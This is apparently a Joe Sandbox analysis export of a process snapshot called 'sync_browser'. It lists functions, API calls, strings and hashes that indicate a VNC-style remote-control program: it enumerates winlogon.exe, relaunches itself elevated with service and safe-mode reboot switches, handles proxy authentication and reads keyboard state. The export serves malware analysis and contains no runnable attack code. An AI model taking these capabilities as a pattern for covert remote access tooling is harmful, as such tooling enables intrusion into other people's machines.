Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Desktop$Thread$CloseCurrentInputMessageOpen
String ID:
API String ID: 1973726940-0
Opcode ID: 74b4376dc008a2e3deaa89793efa6c2b5ae9ae972eae381437ecec0259b7ff16
Instruction ID: a82f27e590622abe72658bcc573cc2ec057e8917468f163b663c383dc26f5d7b
Opcode Fuzzy Hash: 74b4376dc008a2e3deaa89793efa6c2b5ae9ae972eae381437ecec0259b7ff16
Instruction Fuzzy Hash: 69119025B1DA4982EB24BB62B464639E7A0BB4DFD0F441836EE4EC3B58DE3CD4418711

Function 00007FF7E5073E60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 56timewindowCOMMON

Download Yara Rule

APIs

SetBkMode.GDI32 ref: 00007FF7E5073E9C
SetWindowPos.USER32 ref: 00007FF7E5073ED5
KillTimer.USER32 ref: 00007FF7E5073EF3
PostQuitMessage.USER32 ref: 00007FF7E5073EFB
SetTimer.USER32 ref: 00007FF7E5073F14

Strings

d, xrefs: 00007FF7E5073EB3

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Timer$KillMessageModePostQuitWindow
String ID: d
API String ID: 3664928928-2564639436
Opcode ID: 118553bd85ce4610845fc2bc57698abad58593aa61c72bc6e801eda45dbd9551
Instruction ID: aa5e433f895118e28a88ae8af30c9a5fac72020100f0a1a4277f9a4e19cf55c3
Opcode Fuzzy Hash: 118553bd85ce4610845fc2bc57698abad58593aa61c72bc6e801eda45dbd9551
Instruction Fuzzy Hash: B311A7B2F1860B87F7707B34B825775A290EF44BA1FC45231D91AC56D4EE3CD991CA22

Function 00007FF7E508A6F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetWindowLongPtrA.USER32 ref: 00007FF7E508A71A
SetWindowLongPtrA.USER32 ref: 00007FF7E508A752
SetDlgItemTextA.USER32 ref: 00007FF7E508A767
SetForegroundWindow.USER32 ref: 00007FF7E508A770
EndDialog.USER32 ref: 00007FF7E508A785

Strings

Oct 1 2014 21:43:49, xrefs: 00007FF7E508A758

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Window$Long$DialogForegroundItemText
String ID: Oct 1 2014 21:43:49
API String ID: 2747855613-2751236551
Opcode ID: 9a61f633431cb37e218c1f842c908c6751c059a7ba695ef3b628182b3906ce08
Instruction ID: 3014d5cca1c240b60387ef3a932096e96c2238cd7b5690b692f2e55bdb823847
Opcode Fuzzy Hash: 9a61f633431cb37e218c1f842c908c6751c059a7ba695ef3b628182b3906ce08
Instruction Fuzzy Hash: FA119631A0CF4681E320AB26A9A473AA361FB85FD0F944132EA8A47B98DF3CD541D755

Function 00007FF7E50C1550 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 47keyboardCOMMON

Download Yara Rule

APIs

GetAsyncKeyState.USER32 ref: 00007FF7E50C1561
MapVirtualKeyA.USER32 ref: 00007FF7E50C15BA
GetAsyncKeyState.USER32 ref: 00007FF7E50C15D3

Strings

vnckeymap.cpp : setshiftstate %d - (%s->%s), xrefs: 00007FF7E50C1591
vnckeymap.cpp : new state %d (%s), xrefs: 00007FF7E50C15D9
down, xrefs: 00007FF7E50C158A

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: AsyncState$Virtual
String ID: down$vnckeymap.cpp : new state %d (%s)$vnckeymap.cpp : setshiftstate %d - (%s->%s)
API String ID: 2891131044-1915745809
Opcode ID: af929e24d0095cd63bb2d8a54ee9630447cb1a074a3e2900237919080e080432
Instruction ID: a2be473cfdad0aa85a41cebfbc59de00fff76cdbbeb3fe71f97e39ea3eef9459
Opcode Fuzzy Hash: af929e24d0095cd63bb2d8a54ee9630447cb1a074a3e2900237919080e080432
Instruction Fuzzy Hash: 2A11D332A18A9AC2E6216F14F4102AAA361FB84B05F880032E98EC7659DF3CD515C362

Function 00007FF7E5087FB0 Relevance: 10.5, APIs: 7, Instructions: 46synchronizationCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7E5087FC9
ResetEvent.KERNEL32 ref: 00007FF7E5087FE6
ResetEvent.KERNEL32 ref: 00007FF7E5087FF0
SetEvent.KERNEL32 ref: 00007FF7E5087FFA
WaitForSingleObject.KERNEL32 ref: 00007FF7E5088009
WaitForSingleObject.KERNEL32 ref: 00007FF7E508804A
SetEvent.KERNEL32 ref: 00007FF7E5088066

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Event$ObjectResetSingleWait$CriticalEnterSection
String ID:
API String ID: 3343876880-0
Opcode ID: d3057a2b6849e393004495c8da3765230f28397fe0c1293d29a74e0cbff77646
Instruction ID: 3db3969fcc5efc9ae8c60e94462edcc4b0776fa73f749b994b5e1c9c32c21250
Opcode Fuzzy Hash: d3057a2b6849e393004495c8da3765230f28397fe0c1293d29a74e0cbff77646
Instruction Fuzzy Hash: A2214575604745D3DB68AB22E59836DA320FB45F91F405032DB1E87654DF3CE4B4C751

Function 00007FF7E50819A0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF7E50819C6
Process32First.KERNEL32 ref: 00007FF7E50819E5
CloseHandle.KERNEL32 ref: 00007FF7E50819F2
Process32Next.KERNEL32 ref: 00007FF7E5081A20
CloseHandle.KERNEL32 ref: 00007FF7E5081A2D

Strings

winlogon.exe, xrefs: 00007FF7E5081A00

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess32$CreateFirstNextSnapshotToolhelp32
String ID: winlogon.exe
API String ID: 1789362936-961692650
Opcode ID: c88a6ee81a24712a405af00b899bfba8e059bc7f51f311d566bee420794a0777
Instruction ID: 664712c371dd72e0b10ce73a699733e9ab0bff484843a705344e07b7a48de42f
Opcode Fuzzy Hash: c88a6ee81a24712a405af00b899bfba8e059bc7f51f311d566bee420794a0777
Instruction Fuzzy Hash: 08112831608A8E81E720AB25F865767B3A0FF88F95F845132D55E86698EF3CD505CA11

Function 00007FF7E5083620 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 30COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF7E508364B
GetForegroundWindow.USER32 ref: 00007FF7E508365C
ShellExecuteExA.SHELL32 ref: 00007FF7E508369F

Strings

runas, xrefs: 00007FF7E5083671
p, xrefs: 00007FF7E5083653
-rebootforce, xrefs: 00007FF7E5083693

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ExecuteFileForegroundModuleNameShellWindow
String ID: -rebootforce$p$runas
API String ID: 3648085421-45594291
Opcode ID: c9e64b892c4310a2a8aa35deb39eabc56664ec1848822a0344db8a204f455f45
Instruction ID: 479bdbbad42336b06dd2ff58d54053efc831bdfef4747b77756f8b197db15ad2
Opcode Fuzzy Hash: c9e64b892c4310a2a8aa35deb39eabc56664ec1848822a0344db8a204f455f45
Instruction Fuzzy Hash: FB010C35608B8585E721AF14F49439BB3A4FB88744F800136D6CD42B58DF3CD158CB51

Function 00007FF7E50836C0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 30COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF7E50836EB
GetForegroundWindow.USER32 ref: 00007FF7E50836FC
ShellExecuteExA.SHELL32 ref: 00007FF7E508373F

Strings

runas, xrefs: 00007FF7E5083711
-rebootsafemode, xrefs: 00007FF7E5083733
p, xrefs: 00007FF7E50836F3

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ExecuteFileForegroundModuleNameShellWindow
String ID: -rebootsafemode$p$runas
API String ID: 3648085421-4291177908
Opcode ID: ebe23701378919e1af33a6bf656780ce82059cac4ad0fb8edc734de712cd212d
Instruction ID: 8e35c1b32feb455a0a471f77f7ad21e29ca3c9c3ec182cc29e2fa95759eb7cf7
Opcode Fuzzy Hash: ebe23701378919e1af33a6bf656780ce82059cac4ad0fb8edc734de712cd212d
Instruction Fuzzy Hash: 2E010C35608B8585E721AF14F49439BB3A4FB88744FC00136D6CD42B18DF3CD158CB51

Function 00007FF7E5079910 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 27COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF7E5079939
GetForegroundWindow.USER32 ref: 00007FF7E5079948
ShellExecuteExA.SHELL32 ref: 00007FF7E5079997

Strings

runas, xrefs: 00007FF7E5079953
p, xrefs: 00007FF7E507993F
-stopservice, xrefs: 00007FF7E507997A

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ExecuteFileForegroundModuleNameShellWindow
String ID: -stopservice$p$runas
API String ID: 3648085421-4230321595
Opcode ID: 7801f256456fabef1ba334d8cfc515ba8b90833b9c41cec9be355c3b8ea1ded8
Instruction ID: 3d776a63b8f9d1b45a241ea21b84b966afc5f7356ce92316450d029749069fa7
Opcode Fuzzy Hash: 7801f256456fabef1ba334d8cfc515ba8b90833b9c41cec9be355c3b8ea1ded8
Instruction Fuzzy Hash: 2F01DA36618B85C5E760AB10F4A439BB3A4FB89B48FC01236D6CD42B58EF7DD118CB51

Function 00007FF7E5079A70 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 27COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF7E5079A99
GetForegroundWindow.USER32 ref: 00007FF7E5079AA8
ShellExecuteExA.SHELL32 ref: 00007FF7E5079AF7

Strings

-install, xrefs: 00007FF7E5079ADA
runas, xrefs: 00007FF7E5079AB3
p, xrefs: 00007FF7E5079A9F

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ExecuteFileForegroundModuleNameShellWindow
String ID: -install$p$runas
API String ID: 3648085421-1683557327
Opcode ID: da01a03551f4b71eee5f038ed1fd70f8f3551a75722601959108e33cdc7658fd
Instruction ID: 8bd8b338ab0b271e5d1a5b0b70964bf6236212084a412dadfa6b44e5647bb9ba
Opcode Fuzzy Hash: da01a03551f4b71eee5f038ed1fd70f8f3551a75722601959108e33cdc7658fd
Instruction Fuzzy Hash: 5801DA36608B8585E760AB10F4A439BB3A4FB89B48FC01236D6CD42B58EF7DD118CB51

Function 00007FF7E50799C0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 27COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF7E50799E9
GetForegroundWindow.USER32 ref: 00007FF7E50799F8
ShellExecuteExA.SHELL32 ref: 00007FF7E5079A47

Strings

p, xrefs: 00007FF7E50799EF
runas, xrefs: 00007FF7E5079A03
-startservice, xrefs: 00007FF7E5079A2A

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ExecuteFileForegroundModuleNameShellWindow
String ID: -startservice$p$runas
API String ID: 3648085421-278061118
Opcode ID: 926b2c35945988a05c881ee216fe9ef46aea1621d10afb6dfb6c9793bb67f9ef
Instruction ID: 9a8d4eb680a18ba2bb023cda75cb143b95f3156e9303fada991ac4f2706fa7fe
Opcode Fuzzy Hash: 926b2c35945988a05c881ee216fe9ef46aea1621d10afb6dfb6c9793bb67f9ef
Instruction Fuzzy Hash: 0B01DA36608B8585E760AB10F4A439BB3A4FB89B48FC01236D6CD42B58EF7DD118CB51

Function 00007FF7E507C6A0 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 105COMMON

Download Yara Rule

Strings

%s:%s, xrefs: 00007FF7E507C740
Proxy-Authorization: Basic %s, xrefs: 00007FF7E507C78C
Enter proxy authentication password for %s@%s: , xrefs: 00007FF7E507C6E0

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID:
String ID: %s:%s$Enter proxy authentication password for %s@%s: $Proxy-Authorization: Basic %s
API String ID: 0-3750121419
Opcode ID: dcac41199ae3c8df7bcab697df2315285d75f018ff24bfe801cf74db9f7aaf51
Instruction ID: b243fd631948adf708e5e51d802036edd3107322fc63ede5e93ea0a71d37517a
Opcode Fuzzy Hash: dcac41199ae3c8df7bcab697df2315285d75f018ff24bfe801cf74db9f7aaf51
Instruction Fuzzy Hash: A031E325B0468940EA10FA76A8242B9A790FB45FF4F940336FE3D87BD9DE7CD0818310

Function 00007FF7E50842A0 Relevance: 9.1, APIs: 6, Instructions: 101threadwindowCOMMON

Download Yara Rule

APIs

PostMessageA.USER32 ref: 00007FF7E508437C

Part of subcall function 00007FF7E5083EF0: GetModuleFileNameA.KERNEL32 ref: 00007FF7E5083F18
Part of subcall function 00007FF7E5083EF0: PlaySoundA.WINMM ref: 00007FF7E5083F85

CreateThread.KERNEL32 ref: 00007FF7E5084336
ResumeThread.KERNEL32 ref: 00007FF7E508434C

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Thread$CreateFileMessageModuleNamePlayPostResumeSound
String ID:
API String ID: 3945334538-0
Opcode ID: 26b7556e4d0159b9d5f6cfb9e8541998bd234235d3a9044272faeac152b77cb8
Instruction ID: 503d519002c02e77b192ad57f8b320f97703786389e6384c66bfc476c7c8f616
Opcode Fuzzy Hash: 26b7556e4d0159b9d5f6cfb9e8541998bd234235d3a9044272faeac152b77cb8
Instruction Fuzzy Hash: 0D41F326B1894581EB10AB35F4607BDA351EBC8FA8F840132EF4D87799EE3CD481C351

Function 00007FF7E512AA6C Relevance: 9.1, APIs: 6, Instructions: 92COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 00007FF7E512AA99
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E512AAA4
_fileno.LIBCMT ref: 00007FF7E512AAD5
_errno.LIBCMT ref: 00007FF7E512AB45
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E512AB50
_ftbuf.LIBCMT ref: 00007FF7E512AB80

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
